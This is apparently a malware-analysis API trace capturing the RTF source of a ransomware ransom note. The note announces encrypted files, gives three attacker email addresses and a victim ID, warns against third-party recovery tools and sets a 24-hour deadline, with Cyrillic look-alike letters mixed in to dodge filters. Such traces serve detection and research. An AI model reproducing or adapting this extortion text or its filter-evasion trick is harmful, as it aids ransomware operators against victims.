with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x25c4dd8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will 